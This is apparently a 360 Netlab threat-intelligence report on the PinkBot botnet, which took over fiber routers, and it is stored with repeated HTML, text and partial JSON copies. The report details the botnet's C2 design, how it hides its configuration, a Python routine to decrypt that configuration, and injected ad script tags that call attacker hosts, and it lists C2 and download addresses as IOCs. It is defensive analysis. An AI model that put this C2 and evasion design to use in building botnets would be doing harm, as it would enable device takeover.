<p>DDos does not seem to be a big thing with Pink, we have seen Pink launching around 100 DDos attacks all together, for example:</p>
<pre><code>2020/3/24 UDP-DDoS, Victim 203.56.252.137:26999
2020/4/8 HTTP-DDoS, Victim 180.101.192.199:27020
</code></pre>
<h2 id="extrapinksturfwar">Extra: Pink's turf war</h2>
<p>In the process of analyzing and tracking the Pink botnet. We noticed that the bot master and vendor have conducted several offensive and defensive cyber wars.</p>
<p><strong>Round 0</strong>: According to information provided by one major vendor involved, the confrontation first occurred in mid-November 2019. The vulnerability under attack originated from a TCP-17998 control service, which is an interface provided to operators to the device. Due to a misconfiguration and implementation of the service, access was opened to the public network, through which the attacker gained control of the relevant fiber routers.</p>
<p><strong>Round 1</strong>: After discovering this problem, the vendor started to try to fix its own device through the same vulnerability on the public network. However, it was soon discovered and immediately acted upon by the bot master, who shut down the TCP-17998's extranet access via iptables, preventing further fixes by the vendor using this method.</p>
<p><strong>Round 2</strong>: This time the attack and defense focused on the tr069 upgrade channel. The vendor from the operator side can use tr096 to get in and repair the device when the unit boots up. However, the attacker had great visibility and quickly updated the firmware to turn off the tr096 update channel.</p>
<p><strong>Round 3</strong>: Now the vendor tried to use the TCP-80 HTTP service on the LAN side of the device to repair the device, however, the attacker quickly noticed what was going on and updated the firmware again to take out the HTTP service file on the device. At this point, all devices have no control plane for the vendor to provide management service.</p>
<p><strong>The finally</strong>: The only option left for the vendor to dispatch people to the end customers to physically access the fiber router, disassemble the debugging interface or simply replace the unit.</p>
<p><strong>Our take</strong>: The bot master easily got an upper hand in multiple rounds of offensive and defensive confrontations, the vendor had no control and no visibility to where the devices are, how many of them are infected and what was going on on these devices and had no way to easy access the devices. On the other hand, the bot master had full visibility and full control over the infected devices and could issue whatever service command such as blocking ports, removing services through the centralized C2 in real time.</p>
<h2 id="extra2moreaboutgithubaction">Extra2 more about GITHUB action</h2>
<p>We traced back the Pink and found out that its first existence went back as early as October 16, 2018, at that time the Github account used was pink78day (this account is not exist now, seet Google snapshot here).</p>
<img src="__GHOST_URL__/content/images/2020/03/pink78day.png" width="860px" />
<p>The account currently used by PinkBot is mypolo111 registered in late November 2019, and pink78day is no longer searchable on Github.</p>
<p>Note here as we mentioned before pink78day is not used as a centralized channel for distributing instructions, so simply blocking this account would have no real effect. The attacker can instantly redirect Bot to a new account by just adding a new transaction record to its BTC wallet.</p>
<h1 id="ioc">IOC</h1>
<h2 id="ccaddress">C&C address</h2>
<p>The attacker used the following C2 addresses.</p>
<pre><code>cnc.pinklander[.]com
144.202.109.110:40080
144.202.109.110:32876
207.148.70.25:12368
45.32.125.150:12368
45.32.125.188:12368
45.32.174.105:12368
5.45.79.32:12368
</code></pre>
<h2 id="synchronizationservice">Synchronization Service</h2>
<p>Pink synchronizes samples via HTTP services. Some of the HTTP services<br>
used are publicly services and some are temporally created.</p>
<p>The following URLs have been used for sample synchronization. These URLs<br>
were all extracted from PinkBot's configuration.</p>
<pre><code>http[:]//1.198.50.63:1088/dlist.txt
http[:]//1.63.19.10:19010/var/sss/dlist.txt
http[:]//104.207.142.132/dlist.txt
http[:]//108.61.158.59/dlist.txt
http[:]//111.61.248.32:1088/dlist.txt
http[:]//112.26.43.199:81/dlist.txt
http[:]//113.106.175.43:19010/tmp/pinkdown/dlist.txt
http[:]//117.131.10.102:1088/d/dlist.txt
http[:]//123.13.215.89:8005/d/dlist.txt
http[:]//125.74.208.220:81/dlist.txt
http[:]//140.82.24.94/dlist.txt
http[:]//140.82.30.245/d/dlist.txt
http[:]//140.82.53.129/dlist.txt
http[:]//144.202.38.129/dlist.txt
http[:]//149.28.142.167/p/dlist.txt
http[:]//149.28.142.167/p1/dlist.txt
http[:]//155.138.140.245/dlist.txt
http[:]//167.179.110.44/dlist.txt
http[:]//173.254.204.124:81/dlist.txt
http[:]//182.139.215.4:82/dlist.txt
http[:]//207.148.4.202/dlist.txt
http[:]//218.25.236.62:1987/d/dlist.txt
http[:]//218.25.236.62:1988/d/dlist.txt
http[:]//222.216.226.29:81/dlist.txt
http[:]//45.32.26.220/dlist.txt
http[:]//45.76.104.146/dlist.txt
http[:]//45.77.165.83/p1/dlist.txt
http[:]//45.77.198.232/p1/dlist.txt
http[:]//45.88.42.38/p1/dlist.txt
http[:]//61.149.204.230:81/dlist.txt
http[:]//66.42.114.73/dlist.txt
http[:]//66.42.67.148/dlist.txt
http[:]//8.6.193.191/dlist.txt
http[:]//95.179.238.22/dlist.txt
https[:]//***.com/**/dlist.txt
https[:]//raw.githubusercontent.com/pink78day/helloworld/master/dlist.txt
</code></pre>
<h2 id="md5">MD5</h2>
<p>The relevant samples (ELFs).</p>
<pre><code>9ec5bd857b998e60663e88a70480b828 /bin/protect
451a3cf94191c64b5cd1be1a80be7799 /bin/tr69c
06d6ad872e97e47e55f5b2777f78c1ba slient_l
07cd100c7187e9f4c94b54ebc60c0965 slient_b
0f25b0d54d05e58f5900c61f219341d3 client_b
0f89e43ea433fdfd18a551f755473388 slient_l
1197994610b2ffb60edbb5ab0c125bc0 client_b
167364ad0d623d17332f09dbb23a980e client_b
175b603082599838d9760b2ab264da6f slient_l
1a6dce9916b9b6ae50c1457f5f1dfbbd slient_l
229503686c854bb39efdc84f05b071b9 slient_b
25a07e3ef483672b4160aa12d67f5201 client_l
262a4e242c9ebeba79aa018d8b38d229 client_l
29d0afd2a244c9941976ebf2f0f6597f client_l
2befedd020748ff6d9470afad41bd28c slient_b
2ca5810744173889b2440e4f25b39bd4 client_l
36e48e141943a67c6fdeaa84d7af21cc client_b
3a620ff356686b461e0e1a12535bea24 slient_l
41bbe8421c0a78067bae74832c375fe8 slient_l
45ee78d11db54acfdda27c19e44c3126 client_l
4830c3950957093dac27d4e87556721e slient_l
484761f281cb2e64d9db963a463efca5 client_l
48a7f2799bf452f10f960159f6a405d3 client_l
494412638dc8d573172c1991200e1399 client_l
4c83ad66189a7c4d2f2afdbfb94d0e65 slient_b
50270de8d5783bb0092bf1677b93c97b slient_l
54aa9e716567bd0159f4751916f7f0d1 client_l
5ae1fec20c2f720269c2dc94732187e8 slient_b
5b62a9bd3431c2fd55283380d81c00fa client_b
5c322610e1845d0be9ccfc8a8b6a4c4f client_l
5c4f8dae67dad8cac141afa00847b418 slient_b
5d0d034845bd69179bf678104c046dc1 client_b
60658ef214c960147200d432eece3e13 slient_l
60a2b1bb02a60ac49f7cc1b47abdf60c client_l
610f0aadba3be1467125607bf2ba2aaf slient_l
66a068fd860bda7950fde8673d1b5511 client_b
6c4de9bd490841f0a6c68638f7253c65 client_b
72c531a813b637af3ea56f288d65cdb7 slient_b
7608b24c8dcf3cd7253dbd5390df8b1f client_b
7645a30a92863041cf93a7d8a9bfba1a client_b
857fc3c7630859c20d35d47899b75699 slient_b
861af6b5a3fea01f2e95c90594c62e9d client_l
8e86be3be36094e0f5b1a6e954dbe7c2 client_l
8fbcd7397d451e87c60a0328efe8cd5d client_b
987a9befb715b6346e7ad0f6ac87201f slient_b
9eb147e3636a4bb35f0ee1540d639a1b slient_b
aa2fc46dd94cbf52aef5e66cdd066a40 client_l
ae8b519504afc52ee3aceef087647d36 slient_b
b0202f1e8bded9c451c734e3e7f4e5d8 slient_b
b6f91ad027ded41e2b1f5bea375c4a42 slient_b
b9935859b3682c5023d9bcb71ee2fece slient_b
b9d1c31f59c67289928e1bb7710ec0ba client_l
bec2f560b7c771d7066da0bee5f2e001 client_b
c2efa35b34f67a932a814fd4636dd7cb slient_l
c839aff2a2680fb5676f12531fecba3b slient_b
c94504531159b8614b95c62cca6c50c9 slient_l
dfe0c9d36062dd3797de403a777577a6 client_b
e19a1106030e306cc027d56f0827f5ce slient_l
f09b45daadc872f2ac3cc6c4fe9cff90 client_b
f5381892ea8bd7f5c5b4556b31fd4b26 client_b
f55ad7afbe637efdaf03d4f96e432d10 slient_b
f62d4921e3cb32e229258b4e4790b63a client_b
f81c8227b964ddc92910890effff179b slient_b
fc5b55e9c6a9ddef54a256cc6bda3804 client_b
fe8e830229bda85921877f606d75e96d slient_l
fee6f8d44275dcd2e4d7c28189c5f5be client_l
</code></pre>
<h2 id="contactus">Contact us</h2>
<p>Readers are always welcomed to reach us on Twitter or email us to netlab at 360 dot cn.</p>
<!--kg-card-end: markdown--><p></p> | Most of the following article was completed around early 2020, at that time the vendor was trying different ways to recover the massive amount of infected devices, we shared our findings with the vendor, as well as to CNCERT, and decided to not publish the blog while the vendor's working was in progress. Last week, CNCERT finally disclosed this botnet, and we have learned that the infected devices have “mostly” been taken care of, so here we are..
Overview
On November 21, 2019, we got an interesting new botnet sample from the security community, the sample contained a large number of function names starting with “pink”, and we named it pink botnet.
Pink is the largest botnet we have first hand observed in the last six years, during peak time, it had a total infection of over 1.6 million devices (96% are located in China) Pink targets mainly mips based fiber router, and has very strong and robust architecture, it uses a combination of third-party services, P2P and central C2s for its’ bots to controller communications, and has complete verification of the C2 communications, doing this ensures that the bot nodes will not be easily cut off or taken over Pink raced with the vendor to retain control over the infected devices, while vendor made repeated attempts to fix the problem, the bot master noticed the vendor’s action also in real time, and made multiple firmware updates on the fiber routers corresponsly.
Pink adopts DNS-Over-HTTPS protocol, which is also not typical.
Scale and Impact
We have infection numbers from three differentness sources, they are:
1. 2019-11-30 A trusted security partner in US informed us they saw 1,962,308 unique daily active IPs from this botnet hitting them.
2. 2020-01-02 CNCERT shared us the following note
"From the data measured in multiple dimensions such as NetFlow data, active probing, and real-time monitoring, the number of Bot node IP addresses associated with this botnet exceeds 5 million. As home broadband IPs are dynamically assigned, the true size of the infected devices behind them cannot be accurately estimated, and it is presumed that the actual number of infected devices is in the millions. One of the main bases of the measurement is that the number of IPs connected to C2 in one minute was well over one million."
3. 2020-01-08 Our (360NetLab) assessment based on continuous network-wide probing gave us the the number of 1.65 million. The infected IPs are concentrated in China (96%), spanning 33 provinces across the country. Affected carriers involve China Unicom (>80%) and China Telecom (>15%).
Pink Architecture
Pink is a hybrid architecture botnet that uses both "P2P" and central “C2" to communicate to its bots . In general, it delivers less time-sensitive commands (e.g. management configuration information) via P2P, while more time-sensitive commands are distributed centrally via the C2s (e.g. launching ddos attacks, inserting advertisements into HTTP websites visited by users).
Configuration information
One key step for every Bot is to find the controller. The controller information is contained in the "configuration", and the following is the latest configuration we intercepted.
{
"verify": "1585065675",
"cncip1": "144.202.109.110",
"cncport1": "32876",
"dlc": "5b62596bc1453d51cc7241086464f294",
"dl": "http【:】//155.138.140.245/dlist.txt",
"dlc1": "484417e6f65c8e18e684d60c03c4680a",
"dl1": "https【:】//*****.com/johncase/zip/raw/master/dlist.txt",
"sd0": "1.1.1.1",
"sdp0": "443",
"srvk": "FJAz37XiKgnTLtVpmhjxZcavTJUU5r4XN3Wl5nhTpg0=",
"pxy": "1"
}
1.
The verify field is the timestamp when the command is issued, and the Bot will get the latest valid commands based on this timestamp.
2.
The subsequent cncip and cncport fields specify the latest C2 address of the botnet, and the attacker can switch this control address easily at any time.
3.
The subsequent "dlc/dl" and "dlc1/dl1" field groups are the latest Bot update addresses, where dlc and dlc1 are the corresponding content Hash check fields, and the algorithm pseudo-code is: MD5(MD5( dlist_content)+SHA256(dlist_content)) .
4.
The "sd0/sdp0" field is the secure DNS server address. For each Bot, when a DNS resolution record needs to be queried, it will check the DNS service specified here using DNS-Over-HTTPS.
5.
The srvk field is the public key content (base64 encoding) of the server side. For each bot, its communication with CNC is encrypted. So a unique private key has to be obtained through ECDH key negotiation before the actual communication. After specifying the public key on the CNC side here, it also completes the verification of the Bot's identity to the CNC by the way. This is an extension of the original ECDH.
6.
The pxy field is presumably an option for the proxy usage. There is no sign of its being used, and it is not clear how the logic works.
Protection of configuration information
After reading the previous section, it is easy to see that the "configuration information" is actually the core of the botnet, which guarantees the attacker’s absolute control over the botnet.
To prevent others from discovering the configuration information, the configuration is encrypted. The decryption algorithm is symmetric, and the decryption code logic is as follows.
def easydecrpyt(message):
res = ""
for cursor in range(0, len(message)):
mbt = ord(message[cursor])
res += (chr((mbt ^ (cursor%0xff) ^ 0xae ^ 0xac ^ 0xbe ^ 0xef) & 0xff))
return res
The bot master also signed the configuration information using ecdsa to make sure no one can mess with the message, with the following signature details.
1.
The cryptographic library used for signature verification is mbedtls.
2.
The signature algorithm is ECDSA.
3.
The curve used for the signature is: MBEDTLS_ECP_DP_SECP192R1.
4.
The public key used for signature checking is: 04 8D 54 71 71 44 A0 61 DA 5A B4 EA 40 55 2F 21 B1 9B 6C A5 17 92 0F 10 B5 11 56 ED 14 DB 54 47 1A 94 48 06 06 3C 7A B4 3B 25 D1 AC 9F 85 AF 33 9E
Distribution of Configuration Information
In addition to ensuring the confidentiality and integrity of the configuration information, the bot master also uses several means to distribute the configuration information to ensure its availability.
a) Distribution of configuration information through third-party services
1. Distribution of configuration information via BTC+GITHUB
The core of this distribution channel is a project hidden on GITHUB, the most recently seen project is (mypolo111/vfg), and you can see two lines in the README of this project.
Where the pattern is P!!! <base64>I!!! line is the configuration signature and the schema is N!!! <base64>K!!! line is the ciphertext of the configuration information.
However, for each Bot, trying to find this hidden item is a multiple steps process:
Step 1: A topic tag was first generated from the transfer record of a fixed BTC wallet [1GQNam6xhzYVLWWXvRfu3EjsFon6n6GxMF], (after reversing the sample, I reverted the process as shown below, the query of the BTC wallet uses four web services, and the specific addresses are also shown in the figure).
Step 2: For each of the possible topic tags, there are many related github projects. Going through the ISSUES of these projects and looking for a file with the format ...!<base64>...? String,when a match is located, restoring the base64 will give you the address (for example, the most recent one we found is ...!L215cG9sbzExMS92Zmc=...? By restoring this base64, the address of the hidden item is mypolo111/vfg)
Step 3: Searching GITHUB Topics and ISSUES to find the hidden GIT project.
PS: mypolo111 has submitted ISSUES in several projects, the relevant
screenshots are shown below.
Important note here: With these set of addressing logic above, the bot master can easily switch the real GITHUB project address by adding transaction records to a specific BTC wallet. In such a case, the specified BTC wallet must be blocked in order to disrupt the GITHUB-based distribution logic of the botnet, or else the defender would just be playing whack a mole.
2. Distribution of configuration information through a Chinese website
In a few samples, the bot master also distributed configuration information via a website in China, using similar logic to that of GITHUB distribution.
b) Distribution of configuration information via P2P
Two methods are supported here:
1. P2P-Over-UDP123 distribution
For this method, when the bot starts, it will listen to the UDP-123 port, which is originally the default port of NTP service, doing this might trick some users to think this is just a normal NTP service and nothing needs to be looked here. Then it will launch a Peer probe request to four B-segment addresses on the public network ("114.25.0.0/16", "36.227.0.0/16", "59.115.0.0/16", "1.224.0.0/16") with the content 1C 00 00 00.
* When the target is a real NTP server it will respond with NTP time, while if the target is a bot node, two possible responses are expected.
* If the target Bot does not have the c2 information it will respond with 1D 00 00 00
* When the target Bot has already gotten the C2 information, it replies with the signature of the C2 information and the corresponding cipher text, and before sending, 0xE3 will be added to the message header.
The following figure shows the recently captured configuration information via UDP-123.
c) Distribution of configuration information via C2
The attacker has a domain name cnc.pinklander.com built into some of the samples. When the domain name is enabled, a web page is displayed with the same content as the GITHUB project. It is also the base64 encoded configuration information.
PinkBot Command
Command Format
Each command contains at least 7 bytes, and the meaning is as follows.
1. Token field, 4 bytes long, the value of this field is specified by the server and will be used all the time after it is specified. When the server side accepts it, it will assign a Token value to the Bot, which is considered successful.
2. Command field, length 1 byte, after C2 sends out the command, Bot should return the execution result with the same command code.
3. Content length field, 2 bytes in length. When the instruction does not contain specific content, it is set to zero, otherwise it is filled with the number of bytes of content length and appended with the cipher content.
4. Instruction. When the instruction contains content, this field is filled with the instruction content of the cipher text. See below for decryption method.
Here is a screenshot for reference, where the instruction field is marked in red.
Instruction communications
a) Encryption
The cncip1 and cncport1 in the above configuration information are the actual C2 nodes used by the attacker. The communication details are as follows.
1. The cryptographic library used is: mbedtls;
2. The exchange algorithm used in the key exchange phase is ecdh, and the loading curve is MBEDTLS_ECP_DP_CURVE25519;
3. The server-side ECDH public key is hard-coded in the samples in the early stages of development , and later on, it is changed to be specified in the configuration information. However, the content has not changed so far: 14 90 33 DF B5 E2 2A 09 D3 2E D5 69 9A 18 F1 65 C6 AF 4C 95 14 E6 BE 17 37 75 A5 E6 78 53 A6 0D
4. The algorithm used in the encryption/decryption phase of the message is
AES, the key is the secret after key exchange, and the loading parameters are MBEDTLS_AES_ENCRYPT and MBEDTLS_AES_DECRYPT;
5. For ECDH, generally the public and private keys of both parties are regenerated every time. In Pink, however, only the Bot side is required to be different each time, while the server side specifies a fixed pair of public-private keys. This built-in server-side public key is equivalent to giving the Bot the ability to authenticate the CNC, thus eliminating the possibility of man-in-the-middle attacks.
b) Instruction Content
In order to adapt to the different distribution of byte sequences in mipsb/mipsl models at the same time, the transmitted content is transformed by the open source library nanopb, which can abstract the serialization and deserialization process by agreeing on a template, thereby ignoring the interference of big/little endian memory.
The instructions
The Pink instruction has a rich set of controls.
1. File download
2. System command execution
3. DDoS attacks (HTTP attacks and UDP attacks)
4. Scan(the specifics of the scan can be set by the command)
5. Report device information (CPU / system type / memory information / system version / hardware information)
6. Self-update (save new version to /tmp/client and then run)
7. P2P node list synchronization (push a set of P2P nodes directly to the Bot)
8. Http message injection (on the victim device, advertising js scripts will be injected when traffic type is http)
9. Sock5 proxy service (set up Socks5 proxy service on Bot side, account password set by command)
10. Download the file and execute
11. Stop the attack
12. Reset watchdog
PinkBot persistence method
Unlike other the botnets we commonly see, Pink will flash the original firmware of the fiber router after infecting it in order to maintain absolute controls. In the rewritten firmware, PinkBot's downloader c2 and the supporting bootloader are included.
The following figure shows the list of files added/modified by Pink.
The tmp directory can be ignored, as it contains temporary files generated when the sample runs.
Key file descriptions.
* /bin/protect: md5:9ec5bd857b998e60663e88a70480b828
The protect file is actually more like a downloader, in the sample you can see codes that support above-mentioned 5 methods to get configuration information. The main function is to get the latest samples from the configuration information and start them up.
* /bin/tr69c: md5:451a3cf94191c64b5cd1be1a80be7799
The tc69c file is a patch version of tr69c of the original firmware of the fiber router. It removes the update function from the firmware, which basically makes it impossible to update the firmware through tr69c.
Command Tracking
We simulated PinkBot node to receive commands distributed by the C2 in real time. In addition to the daily maintenance-type instructions (heartbeat instructions/peerlist synchronization instructions), we also received several instructions to insert advertisements to WEB pages, such as:
<script async src="http【:】//45.32.21.251/j/?$$"></script>
<script async src="http【:】//167.179.80.159/j/?$$"></script>
<script async src=“http【:】//114.55.124.13/j/?$$“></script>
We have noticed that the configuration information for pink changes intermittently, mainly in the CNC and DL* fields, and it has stabilized in recent months. Below is the latest configuration information we captured on 2021/10/5 (BST).
{
"verify":"1611936001",
"cncip1":"140.82.40.29",
"cncport1":"26007",
"dlc":"450aa79da035a8a55ca4c0e6b1025b50",
"dl":"http://209.250.247.60/dlist.txt",
"dlc1":"47ed94977b45099f1ef5c7701b2d25dc",
"dl1":"https://****.com/****/dlist.txt",
"sd0":"1.1.1.1",
"sdp0":"443",
"srvk":"FJAz37XiKgnTLtVpmhjxZcavTJUU5r4XN3Wl5nhTpg0=",
"pxy":"1"
}
Current Size
As mentioned earlier, Pink uses P2P to distribute non-real-time command information. Using this feature, we were able to evaluate the number of PinkBot infections on a global basis. The major vendor has been exploring all possible methods to eliminate infected devices and the infection number has dropped significantly. While at the same time, there are still a good amount of infected units out there, on 2021/10/20, we still see 103024 daily active IPs.
DDoS attacks
DDos does not seem to be a big thing with Pink, we have seen Pink launching around 100 DDos attacks all together, for example:
2020/3/24 UDP-DDoS, Victim 203.56.252.137:26999
2020/4/8 HTTP-DDoS, Victim 180.101.192.199:27020
Extra: Pink's turf war
In the process of analyzing and tracking the Pink botnet. We noticed that the bot master and vendor have conducted several offensive and defensive cyber wars.
Round 0: According to information provided by one major vendor involved, the confrontation first occurred in mid-November 2019. The vulnerability under attack originated from a TCP-17998 control service, which is an interface provided to operators to the device. Due to a misconfiguration and implementation of the service, access was opened to the public network, through which the attacker gained control of the relevant fiber routers.
Round 1: After discovering this problem, the vendor started to try to fix its own device through the same vulnerability on the public network. However, it was soon discovered and immediately acted upon by the bot master, who shut down the TCP-17998's extranet access via iptables, preventing further fixes by the vendor using this method.
Round 2: This time the attack and defense focused on the tr069 upgrade channel. The vendor from the operator side can use tr096 to get in and repair the device when the unit boots up. However, the attacker had great visibility and quickly updated the firmware to turn off the tr096 update channel.
Round 3: Now the vendor tried to use the TCP-80 HTTP service on the LAN side of the device to repair the device, however, the attacker quickly noticed what was going on and updated the firmware again to take out the HTTP service file on the device. At this point, all devices have no control plane for the vendor to provide management service.
The finally: The only option left for the vendor to dispatch people to the end customers to physically access the fiber router, disassemble the debugging interface or simply replace the unit.
Our take: The bot master easily got an upper hand in multiple rounds of offensive and defensive confrontations, the vendor had no control and no visibility to where the devices are, how many of them are infected and what was going on on these devices and had no way to easy access the devices. On the other hand, the bot master had full visibility and full control over the infected devices and could issue whatever service command such as blocking ports, removing services through the centralized C2 in real time.
Extra2 more about GITHUB action
We traced back the Pink and found out that its first existence went back as early as October 16, 2018, at that time the Github account used was pink78day (this account is not exist now, seet Google snapshot here).
The account currently used by PinkBot is mypolo111 registered in late November 2019, and pink78day is no longer searchable on Github.
Note here as we mentioned before pink78day is not used as a centralized channel for distributing instructions, so simply blocking this account would have no real effect. The attacker can instantly redirect Bot to a new account by just adding a new transaction record to its BTC wallet.
IOC
C&C address
The attacker used the following C2 addresses.
cnc.pinklander[.]com
144.202.109.110:40080
144.202.109.110:32876
207.148.70.25:12368
45.32.125.150:12368
45.32.125.188:12368
45.32.174.105:12368
5.45.79.32:12368
Synchronization Service
Pink synchronizes samples via HTTP services. Some of the HTTP services
used are publicly services and some are temporally created.
The following URLs have been used for sample synchronization. These URLs
were all extracted from PinkBot's configuration.
http[:]//1.198.50.63:1088/dlist.txt
http[:]//1.63.19.10:19010/var/sss/dlist.txt
http[:]//104.207.142.132/dlist.txt
http[:]//108.61.158.59/dlist.txt
http[:]//111.61.248.32:1088/dlist.txt
http[:]//112.26.43.199:81/dlist.txt
http[:]//113.106.175.43:19010/tmp/pinkdown/dlist.txt
http[:]//117.131.10.102:1088/d/dlist.txt
http[:]//123.13.215.89:8005/d/dlist.txt
http[:]//125.74.208.220:81/dlist.txt
http[:]//140.82.24.94/dlist.txt
http[:]//140.82.30.245/d/dlist.txt
http[:]//140.82.53.129/dlist.txt
http[:]//144.202.38.129/dlist.txt
http[:]//149.28.142.167/p/dlist.txt
http[:]//149.28.142.167/p1/dlist.txt
http[:]//155.138.140.245/dlist.txt
http[:]//167.179.110.44/dlist.txt
http[:]//173.254.204.124:81/dlist.txt
http[:]//182.139.215.4:82/dlist.txt
http[:]//207.148.4.202/dlist.txt
http[:]//218.25.236.62:1987/d/dlist.txt
http[:]//218.25.236.62:1988/d/dlist.txt
http[:]//222.216.226.29:81/dlist.txt
http[:]//45.32.26.220/dlist.txt
http[:]//45.76.104.146/dlist.txt
http[:]//45.77.165.83/p1/dlist.txt
http[:]//45.77.198.232/p1/dlist.txt
http[:]//45.88.42.38/p1/dlist.txt
http[:]//61.149.204.230:81/dlist.txt
http[:]//66.42.114.73/dlist.txt
http[:]//66.42.67.148/dlist.txt
http[:]//8.6.193.191/dlist.txt
http[:]//95.179.238.22/dlist.txt
https[:]//***.com/**/dlist.txt
https[:]//raw.githubusercontent.com/pink78day/helloworld/master/dlist.txt
MD5
The relevant samples (ELFs).
9ec5bd857b998e60663e88a70480b828 /bin/protect
451a3cf94191c64b5cd1be1a80be7799 /bin/tr69c
06d6ad872e97e47e55f5b2777f78c1ba slient_l
07cd100c7187e9f4c94b54ebc60c0965 slient_b
0f25b0d54d05e58f5900c61f219341d3 client_b
0f89e43ea433fdfd18a551f755473388 slient_l
1197994610b2ffb60edbb5ab0c125bc0 client_b
167364ad0d623d17332f09dbb23a980e client_b
175b603082599838d9760b2ab264da6f slient_l
1a6dce9916b9b6ae50c1457f5f1dfbbd slient_l
229503686c854bb39efdc84f05b071b9 slient_b
25a07e3ef483672b4160aa12d67f5201 client_l
262a4e242c9ebeba79aa018d8b38d229 client_l
29d0afd2a244c9941976ebf2f0f6597f client_l
2befedd020748ff6d9470afad41bd28c slient_b
2ca5810744173889b2440e4f25b39bd4 client_l
36e48e141943a67c6fdeaa84d7af21cc client_b
3a620ff356686b461e0e1a12535bea24 slient_l
41bbe8421c0a78067bae74832c375fe8 slient_l
45ee78d11db54acfdda27c19e44c3126 client_l
4830c3950957093dac27d4e87556721e slient_l
484761f281cb2e64d9db963a463efca5 client_l
48a7f2799bf452f10f960159f6a405d3 client_l
494412638dc8d573172c1991200e1399 client_l
4c83ad66189a7c4d2f2afdbfb94d0e65 slient_b
50270de8d5783bb0092bf1677b93c97b slient_l
54aa9e716567bd0159f4751916f7f0d1 client_l
5ae1fec20c2f720269c2dc94732187e8 slient_b
5b62a9bd3431c2fd55283380d81c00fa client_b
5c322610e1845d0be9ccfc8a8b6a4c4f client_l
5c4f8dae67dad8cac141afa00847b418 slient_b
5d0d034845bd69179bf678104c046dc1 client_b
60658ef214c960147200d432eece3e13 slient_l
60a2b1bb02a60ac49f7cc1b47abdf60c client_l
610f0aadba3be1467125607bf2ba2aaf slient_l
66a068fd860bda7950fde8673d1b5511 client_b
6c4de9bd490841f0a6c68638f7253c65 client_b
72c531a813b637af3ea56f288d65cdb7 slient_b
7608b24c8dcf3cd7253dbd5390df8b1f client_b
7645a30a92863041cf93a7d8a9bfba1a client_b
857fc3c7630859c20d35d47899b75699 slient_b
861af6b5a3fea01f2e95c90594c62e9d client_l
8e86be3be36094e0f5b1a6e954dbe7c2 client_l
8fbcd7397d451e87c60a0328efe8cd5d client_b
987a9befb715b6346e7ad0f6ac87201f slient_b
9eb147e3636a4bb35f0ee1540d639a1b slient_b
aa2fc46dd94cbf52aef5e66cdd066a40 client_l
ae8b519504afc52ee3aceef087647d36 slient_b
b0202f1e8bded9c451c734e3e7f4e5d8 slient_b
b6f91ad027ded41e2b1f5bea375c4a42 slient_b
b9935859b3682c5023d9bcb71ee2fece slient_b
b9d1c31f59c67289928e1bb7710ec0ba client_l
bec2f560b7c771d7066da0bee5f2e001 client_b
c2efa35b34f67a932a814fd4636dd7cb slient_l
c839aff2a2680fb5676f12531fecba3b slient_b
c94504531159b8614b95c62cca6c50c9 slient_l
dfe0c9d36062dd3797de403a777577a6 client_b
e19a1106030e306cc027d56f0827f5ce slient_l
f09b45daadc872f2ac3cc6c4fe9cff90 client_b
f5381892ea8bd7f5c5b4556b31fd4b26 client_b
f55ad7afbe637efdaf03d4f96e432d10 slient_b
f62d4921e3cb32e229258b4e4790b63a client_b
f81c8227b964ddc92910890effff179b slient_b
fc5b55e9c6a9ddef54a256cc6bda3804 client_b
fe8e830229bda85921877f606d75e96d slient_l
fee6f8d44275dcd2e4d7c28189c5f5be client_l
Contact us
Readers are always welcomed to reach us on Twitter or email us to netlab at 360 dot cn.
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"Most of the following article was completed around early 2020, at that time the vendor was trying different ways to recover the massive amount of infected devices, we shared our findings with the vendor, as well as to CNCERT, and decided to not publish the blog while the vendor's working was in progress. Last week, CNCERT finally disclosed this botnet, and we have learned that the infected devices have “mostly” been taken care of, so here we are..\n\n\n# Overview\n\nOn November 21, 2019, we got an interesting new botnet sample from the security community, the sample contained a large number of function names starting with “pink”, and we named it pink botnet.\n\nPink is the largest botnet we have first hand observed in the last six years, during peak time, it had a total infection of over 1.6 million devices (96% are located in China) Pink targets mainly mips based fiber router, and has very strong and robust architecture, it uses a combination of third-party services, P2P and central C2s for its’ bots to controller communications, and has complete verification of the C2 communications, doing this ensures that the bot nodes will not be easily cut off or taken over Pink raced with the vendor to retain control over the infected devices, while vendor made repeated attempts to fix the problem, the bot master noticed the vendor’s action also in real time, and made multiple firmware updates on the fiber routers corresponsly.\n\nPink adopts DNS-Over-HTTPS protocol, which is also not typical.\n\n\n# Scale and Impact\n\nWe have infection numbers from three differentness sources, they are:\n\n1. 2019-11-30 A trusted security partner in US informed us they saw 1,962,308 unique daily active IPs from this botnet hitting them. \n2. 2020-01-02 CNCERT shared us the following note\n\n```\"From the data measured in multiple dimensions such as NetFlow data, active probing, and real-time monitoring, the number of Bot node IP addresses associated with this botnet exceeds 5 million. As home broadband IPs are dynamically assigned, the true size of the infected devices behind them cannot be accurately estimated, and it is presumed that the actual number of infected devices is in the millions. One of the main bases of the measurement is that the number of IPs connected to C2 in one minute was well over one million.\" ```\n\n3. 2020-01-08 Our (360NetLab) assessment based on continuous network-wide probing gave us the the number of 1.65 million. The infected IPs are concentrated in China (96%), spanning 33 provinces across the country. Affected carriers involve China Unicom (>80%) and China Telecom (>15%). \n\n\n# Pink Architecture\n\nPink is a hybrid architecture botnet that uses both \"P2P\" and central “C2\" to communicate to its bots . In general, it delivers less time-sensitive commands (e.g. management configuration information) via P2P, while more time-sensitive commands are distributed centrally via the C2s (e.g. launching ddos attacks, inserting advertisements into HTTP websites visited by users).\n\n## Configuration information\n\nOne key step for every Bot is to find the controller. The controller information is contained in the \"configuration\", and the following is the latest configuration we intercepted. \n\n```\n{\n \"verify\": \"1585065675\",\n \"cncip1\": \"144.202.109.110\",\n \"cncport1\": \"32876\",\n \"dlc\": \"5b62596bc1453d51cc7241086464f294\",\n \"dl\": \"http【:】//155.138.140.245/dlist.txt\",\n \"dlc1\": \"484417e6f65c8e18e684d60c03c4680a\",\n \"dl1\": \"https【:】//*****.com/johncase/zip/raw/master/dlist.txt\",\n \"sd0\": \"1.1.1.1\",\n \"sdp0\": \"443\",\n \"srvk\": \"FJAz37XiKgnTLtVpmhjxZcavTJUU5r4XN3Wl5nhTpg0=\",\n \"pxy\": \"1\"\n}\n```\n\n\n1. The verify field is the timestamp when the command is issued, and the Bot will get the latest valid commands based on this timestamp. \n\n2. The subsequent cncip and cncport fields specify the latest C2 address of the botnet, and the attacker can switch this control address easily at any time.\n\n3. The subsequent \"dlc/dl\" and \"dlc1/dl1\" field groups are the latest Bot update addresses, 